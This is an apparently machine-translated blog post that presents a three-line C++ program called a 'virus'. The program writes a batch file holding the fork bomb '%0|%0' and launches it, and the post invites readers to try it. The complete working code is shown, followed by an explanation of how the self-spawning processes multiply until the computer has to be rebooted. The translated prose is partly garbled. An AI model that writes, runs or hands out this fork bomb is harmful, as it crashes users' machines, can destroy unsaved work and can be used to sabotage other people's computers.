C++ three-line pitting virus to kill the computer is not a thing to shut down

c++ three lines to kill the computer


Source code:
Tired of shutting down the virus? Try this (there are some small bugs)

#include<bits/stdc++.h>
int main(){
    
    
	freopen("FUCK.bat","w",stdout);
	std::cout<<"%0|%0";
	system("start FUCK.bat");
} 

Explanation:
First of all, the familiar universal header. This is useless. It is just a convenience.
Then the familiar freopen.
This function is mainly to redirect and generate a file, and then enter "%0|%0" in it through cout , Such a major virus original is created,
%0 refers to the batch process itself. Change the current directory to the directory of the batch itself, and this section will continue, and then the process will not be disconnected! ! ! Increase almost exponentially. The
last sentence is the most important. It starts the bat file, so that the generated bat file is run, and the last is

Reboot

Guess you like

Origin blog.csdn.net/weixin_43903850/article/details/109406534